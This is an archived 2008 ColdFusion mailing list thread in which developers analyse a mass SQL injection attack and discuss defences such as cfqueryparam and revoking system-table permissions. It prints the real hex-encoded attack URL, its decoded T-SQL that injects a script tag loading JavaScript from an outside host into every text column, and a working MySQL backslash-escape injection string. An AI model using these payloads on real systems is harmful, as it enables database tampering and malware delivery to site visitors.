Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Your max length in this scenario should most likely be the size of the database column in question. If you use a varchar(50) to store your E-mail address, then you know that the only valid strings coming into this query are going to be 50 characters or less. - Original Message - From: Radek Valachovic [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Thursday, July 24, 2008 1:18 PM Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... What would you suggest for this kind of thing: Select USERID from users where email = '#trim(arguments.email)#' and password = '#trim(arguments.password)#' ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309649 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Absolutely. Minimally, just using a cfqueryparam tag with the value attributes is enough to let the SQL server know the difference between the SQL statement itself and the parameters being passed into it. With that distinction, you may get crap data in your database if it is an insert or an update, but arbitrary and malicious code will NEVER get into the cfquery and be executed as SQL. The maxlengh and type are just additional checks which will cause an error to be thrown from ColdFusion when bad data is passed in. They are a very good idea, but they aren't required. ~Brad - Original Message - From: Radek Valachovic [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Thursday, July 24, 2008 1:26 PM Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... So if I wont use maxlenght still it is gonna be secured? thanks ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309654 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
What Charlie says is correct. To elaborate on the performance part.. If you use proper indexes in your database it is possible to have statements that are called covered selects. This means that every column in the select clause and where clause are all part of an index, and the records can be retrieved without every hitting the table. Example: SELECT order_id FROM orders WHERE cust_last_name = 'Wood' Let's supposed I had an index called IX_cust_name on my cust_last_name column (because I searched it often) and I added order_id in as an included column in that index. The execution plan would MOST LIKELY perform an index seek on IX_cust_name (very, very fast) and return the order_id found in stored along side it-- probably on the same page of memory. Your database never had to even hit the table. If you database is stored on a SAN with a large cache, your oft used index might even be cached in the controller memory. Now, supposed you had taken a shortcut and done the following: SELECT * FROM orders WHERE cust_last_name = 'Wood' Even though you are only using the order_id column (which no one would be able to tell easily) you execution plan now performs an index seek AND performs a bookmark lookup back to the table with the key stored in the index to fetch all the other columns in that row whether they are needed at all. Bookmark lookups can KILL you in large result sets. A lot of this stuff is so negligible you won't notice it with small database, but databases have a way of growing until performance is unbearable. Also, additional tables added to the select later will cause the amount of data being returned to blossom. Anyway, I hope that helps put some reasoning to it. ~Brad - Original Message - From: Charlie Griefer [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Thursday, July 24, 2008 12:59 PM Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... On Thu, Jul 24, 2008 at 10:48 AM, Radek Valachovic [EMAIL PROTECTED] wrote: Yeah I was reading in the forum this one, that using SELECT * is not good, can u explain why on short example? What is Pro and Cons what other type of security it gonna give me? Thanks Not using SELECT * is more of a best practices kind of thing. When you use it, you're potentially pulling more information than you need, which is inefficient. Additionally, specifying all of the columns you're pulling is more self-documenting. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309660 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (Server returned: Connection reset)
What are the queries on that page doing? kill @@spid? :) ~Brad - Original Message - From: John P [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Thursday, July 24, 2008 6:56 PM Subject: (Server returned: Connection reset) Hi, I'm running the developer edition of CF8 with a MS2k5 SQL server and receiving the following error on the index page. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309682 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: cfquery and cfstoredproc
Actually, I'm gonna pick on you again Dave and challenge this. (I'm hoping to add to my wall) If a someone is using MySQL ... Well, the original poster was asking about the current attack, which specifically targets MS SQL Server. That might be true, but he didn't say that. He simply stated he had been asked to look at a possible sql injection attack. He stated he had heard that inline queries can cause injection attacks and asked if that syntax was safe. Given that information alone, I still think the answer is no. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309536 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Consuming a Web Service with CF8
You probably need to add ?wsdl onto the end of your webservice URL. If you hit the URL you are passing in a browser, you are probably getting an error message. Try https://devurl.asmx?wsdl in your browser and see if you get the WSDL. That is what CF needs. ~Brad - Original Message - From: Steve Sequenzia [EMAIL PROTECTED] I have been trying to consume it using cfinvoke like this: cfinvoke webservice = https://devurl.asmx; method = ZNAPing returnVariable = getBack username=username password=password cfoutput#getBack#/cfoutput I am getting this error when I run it: Unable to parse WSDL as an XML document. Parsing error: Fatal Error: URI=null Line=69: The element type p must be terminated by the matching end-tag ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309545 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
however, one of the owners got banned when he included the word Declare in a product description:) Wow-- that sucks. This is a classic reason why that sort of blocking method is in my opinoin only useful for a temproary stop gap. It treats the symtom more than the problem and is prone to false alarms. for this attack, I am thinking wouldn't it be wise to remove permission to use the sysobjects and syscolumns from the user I access the MS SQL server with from CF? (In other words, I am assuming that cf does not need access to these tables - does it?) I would absolutely recommend removing permissions to those system tables. I would also recommend blocking operations such as drop, grant, revoke, and alter. If you have part of your application that needs that kind of functionality, it is better to create a separate datasource with escalated privileges and use it sparingly. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309549 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
If you are still being affected by the attack, then you still have one or more vulnerable queries somewhere with access to that database. Did you use a code scanner like QueryParam Scanner from RiaForge to search the ENTIRE code base for missing cfqueryparams? Also, find out the user your ColdFusion data sources use to access the database. Revoke select permissions to sysobjects and syscolumns to that user. This will cause an error to occur when the attack hits a vulnerable query. (Run a test to confirm this) Do you have a site-wide error handler that E-mails you when errors occur. This will tip you off to where the hackers are gaining entry. ~Brad - Original Message - From: Bo Reahard [EMAIL PROTECTED] How does it defeat the cfquery param tags that are now in all my queries? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309551 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Using attributes within cfqueryparam in Fusebox application
I would check to make sure that the cfsqltype you are using matches the data being passed in, as well as the column in the database. Please post the actual error. ~Brad - Original Message - From: Mark Kruger [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Wednesday, July 23, 2008 9:27 PM Subject: RE: Using attributes within cfqueryparam in Fusebox application As long as the param exists no there is not a problem. What kind of binding error are you getting? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309561 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Thanks for that link Gabriel. I'm sure it was intended for black hats, but I think stuff like that should be required reading for any web programmer. It's easier to defeat the enemy when you understand what they are doing. ~Brad - Original Message - From: Gabriel [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Wednesday, July 23, 2008 11:15 PM Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head... Mark, The comment block obfuscation technique has been posted on blog articles that I have read through the years, however http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ seems to be the ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309565 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: cfquery and cfstoredproc
(Depending on the version of CF, cfqueryparam disables cachedwithin caching. This is true, but it doesn't prevent you from baking your own caching mechanism as many have done. In all versions of CF, cfqueryparam effectively makes Sql Profiling with SQL Server useless and there is no workaround. Please explain what you mean. Are you saying you can't run a trace and see your SQL running. That is certainly not true. It may complicate seeing the valuf of your input parameters. peronally I use SeeFusion to watch my SQL traffic. I can debug a single users's IP and it shows me all the parameters being passed in. The code you show below puts single quotes around simple CF variables, and in my book that provides pretty good protection from sql injection attacks. I have not yet heard of a case/argument that shows that the single quote method, when used with simple CF variables, is not safe. Now you have: http://www.codersrevolution.com/index.cfm/2008/7/13/Just-when-you-felt-safe-SQL-Injection-and-MySQL http://www.coldfusionmuse.com/index.cfm/2008/5/16/disable-backslash-escape-on-mysql BTW, I do not know if there is a way to safely use a CF variable as part of an ORDER BY clause, I outlined what I believe to be the only way to this here: http://www.codersrevolution.com/index.cfm/2008/7/22/When-will-cfqueryparam-NOT-protect-me ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309480 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: cfquery and cfstoredproc
Thanks Adrian. That's cool. however, it is not useful DURING the execution of the SQL though correct? ~Brad - Original Message - From: Adrian Lynch [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, July 22, 2008 3:51 PM Subject: RE: cfquery and cfstoredproc I've used this function to view the SQL with the param data in place. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309487 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: cfquery and cfstoredproc
I see. Thanks for the clarification on the Profiler stuff. Unfortunately, I don't MSSQL in front of me to play with it right now. I give SeeFusion two thumbs way up on monitoring your SQL traffic and run times. (it incorporates a JDBC URL wrapper) I use a custom monitor I wrote for SQL server 2005 that gets the execution plans for me of my running SQL that I tied into the SeeFusion API. If I see a spike on the server, I can see who is doing it, what page they are on, what line of SQL is executing and what their execution plan is all at once. ~Brad - Original Message - From: Gaulin, Mark [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, July 22, 2008 4:34 PM Subject: RE: cfquery and cfstoredproc Hi Brad Thanks for the links, those are interesting articles. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309489 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: cfquery and cfstoredproc
I'll admit it. The first time Dave conceded I was right about something, it got printed out and stuck on my cubicle wall. Hey, I gotta' celebrate *something* :) ~Brad - Original Message - From: Mark Kruger [EMAIL PROTECTED] To: CF-Talk cf-talk@houseoffusion.com Sent: Tuesday, July 22, 2008 8:58 PM Subject: RE: cfquery and cfstoredproc Dave, Do you mind if I blog about that part where you said Yeah, your right about that That's got to be good for my cf_streetCred (ha). -mk ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309505 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: cfquery and cfstoredproc
As Mark pointed out, if you did have numeric inputs in your CFQUERY tag,
those would still be vulnerable. If not, though, the rest of my statement
still stands.
Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
Actually, I'm gonna pick on you again Dave and challenge this. (I'm hoping
to add to my wall)
If a someone is using MySQL, they have allowMultiQueries set to true and
have not changed the NO_BACKSLASH_ESCAPES from its default setting, the
example given would still be vulnerable to SQL injection. I set it up an
example locally just to make sure.
I created this MySQL proc:
CREATE PROCEDURE sp_test(input varchar(100))
BEGIN
select input;
END
Then call it with the following CFML (The contents of the var variable could
easily from from URL or FORM):
cfset var = Hello World\'); update links set active = yes; --
cfquery name=test datasource=foo
call sp_test('#var#');
/cfquery
You will notice that the input to the proc was enclosed in single ticks,
however SQL injection was still successful since MySQL allows for single
ticks to be escaped with a backslash and CF doesn't prevent that. (That
code updated all the records in my links table)
The OP didn't specify, but IF he is on another BDMS like MS SQL he would be
ok. however, I know MySQL is pretty common, and a lot of people run it in
allowMultiQueries mode.
~Brad
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309506
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Read this: http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-A nd-ASCII ~Brad -Original Message- From: Che Vilnonis [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 9:55 AM To: CF-Talk Subject: (ot) URL Hack Attempt Leaves Me Scractching My Head... Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309331 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Why bother looking around the internet? Use your SQL server to decode it! Simply change the exec to a print statement. Very important! :) ~Brad -Original Message- From: Gerald Guido [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 9:59 AM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... This is some sort of encoding... Like Bin Hex, Spammers use it to obscure urls and such. Computers read it just fine. If you look around on the internets you can find a decoder to render it to human readable form. You just need to figure out what sort of encoding they are using ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309332 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Works great for me. You have to remove the extra line breaks though.
Here is what it does:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,
b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99
or b.xtype=35
or b.xtype=231
or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['[EMAIL PROTECTED]'] set ['[EMAIL PROTECTED]']=['[EMAIL
PROTECTED]']+''/titlescript
src=http://1.verynx.cn/w.js;/script!--''
where '[EMAIL PROTECTED]' not like ''%/titlescript
src=http://1.verynx.cn/w.js;/script!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Did you read the blog I posted? It explains it all.
-Original Message-
From: Che Vilnonis [mailto:[EMAIL PROTECTED]
Sent: Monday, July 21, 2008 10:32 AM
To: CF-Talk
Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Tried printing the code in SQL Analyzer and got nothing. Can anyone
translate it to text? Not sure what I am missing.
/rss.cfm?';DECLARE @S CHAR(4000);SET
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
6861
72283430303029204445434C415245205461626C655F437572736F7220435552534F5220
464F
522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563
7473
20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420
612E
78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065
3D33
35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5045
4E20
5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F
4375
72736F7220494E544F2040542C4043205748494C4528404046455443485F535441545553
3D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B27
2B40
432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372
633D
22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C
212D
2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974
6C65
3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A
7322
3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D202054
6162
6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C65
5F43
7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS
CHAR(4000));EXEC(@S);
-Original Message-
From: Gerald Guido [mailto:[EMAIL PROTECTED]
Sent: Monday, July 21, 2008 11:12 AM
To: CF-Talk
Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Why bother looking around the internet? Use your SQL server to decode
it!
Huh... Learn sumptin new every day. That is why I keep coming back here.
;)
Thanx Brad.
~G~
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309338
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe:
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
I appreciate your concern, but I'm pretty certain the bad people out there wanting to use this already know how to do it if they haven't already. One doesn't have to be too creative to come up with unique ways of screwing with databases. Drop database foo Crap, I just let another one slip. Brace yourself for another wave of attacks... :) ~Brad -Original Message- From: Che Vilnonis [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 10:43 AM To: CF-Talk Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head... Good point. My bad... -Original Message- From: Dave Francis [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 11:39 AM To: CF-Talk Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head... Can we please stop distributing this script ;) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309340 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Good on ya, mate. If there were an award for using cfqueryparam I would give it to you. Since this seems to be such a hot topic right now, has anyone heard of a CFML code scanner to check for vulnerable cfqueries kind of like the var scoper does? Maybe we should write one to promote security in the CF community. ~Brad -Original Message- From: Kris Jones [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 11:53 AM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... We're getting hit hard today with this. They're failing, because we use cfqueryparam and cfprocparam. But it is quite annoying. -KJ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309355 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Sweet nectar... I'm trying this out and blogging it tonight. If it's pretty easy to run I think we should promote an international check your freakin' cfqueries day! Who want to buy the party hats and streamers? ~Brad -Original Message- From: Joshua Cyr [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 12:09 PM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... I was just looking into that myself. http://qpscanner.riaforge.org/ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309358 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Band-Aids and duct tape... Filtering for known attacks: moderately useful as a stop gap if you are in the middle of an attack. Holistic approach to seal the original vulnerability against ALL current and future attacks (cfqueryparam): highly desirable. ~Brad -Original Message- From: james carberry [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 12:54 PM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... Even easier than monkeying with every single one of your cfquery's just add following line to the TOP of all your application.cfm's: cfif cgi.SCRIPT_NAME contains EXEC( OR cgi.PATH_INFO contains EXEC( OR cgi.QUERY_STRING contains EXEC(cfabort/cfif This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309363 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
The hacker's hope is that you will be outputting one of those varchar fields into a webpage without escaping HTML characters. The extra text being inserted into the database fields will include a malicious JavaScript file from another server into the webpage. I haven't looked at the JS to see what it does, but it probably tries to load some Trojan via an active X applet or something. To clean your database, I would recommend reverse-engineering the attack to loop over your database columns and remove the text they placed in there. In the mean time, shut your site down so you don't infect your customers. ~Brad -Original Message- From: Wayne Janeck [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 1:43 PM To: CF-Talk Subject: Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... We had the same hack on our site, did you guys figure out exactly what happened or how and where the sql was ran? or what the hackers purpose was? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309366 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
For what it's worth, the specific URL that was injected in the sample I saw (http://1.verynx.cn/w.js) doesn't seem to work anymore. The server name doesn't resolve. === Yeah, that suck, I was going to dissect it. It appears that DNS is resolving it to 127.0.0.1. I didn't know you could do that. verynx.cn resolves to 121.12.169.186, but it returns a 404 when I submit a GET for w.js. Hmm, some off-shore joint. Asia Pacific Network Information Centre owns the IP the domain resolves to. Shows up as possibly being in Bejing, China. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309369 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Easy. sp_executesql The point here is, you can spend a lifetime guessing every bad way a hacker can ruin your database. The root cause however is that your input is not bound to a parameter in your SQL statement. Cfqueryparam closes that hole for good. Whether you want to ban people IPs a and junk us up to you, but that can be a slipperly slope when you start banning legit people because they typed the word execute into a comments form. ~Brad -Original Message- From: Andy Matthews [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 2:47 PM To: CF-Talk Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head... I'm just talking about executing SQL, not SQL injection methods. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309385 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Mystery Character
I've ran into things like this before. Is there a CF function (or even a way in Java) to take a character and return the ASCII code for it? (Or whatever is appropriate, I don't know if ASCII is really the right term) ~Brad -Original Message- From: morgan l [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 3:49 PM To: CF-Talk Subject: Re: Mystery Character Try here: http://www.miniguidez.com/macosx/keystrokesguide/specialcharacters/speci alcharacters.html It lists decimal and hex values for corresponding mac keystrokes. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309402 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Mystery Character
Well there you have it! That was pretty simple... Thanks Dave. -Original Message- From: Experienced CF Developer [mailto:[EMAIL PROTECTED] Sent: Monday, July 21, 2008 4:00 PM To: CF-Talk Subject: RE: Mystery Character Actually, I just looked it up: http://livedocs.adobe.com/coldfusion/6/CFML_Reference/functions-pt121.ht m According to this page, starting in MX 6, asc() supports values up to 65536, so it should work for you. Output your character value to the screen with asc(sFunkyCharacter) and you'll find out the value of it. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309405 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) URL Hack Attempt Leaves Me Scractching My Head...
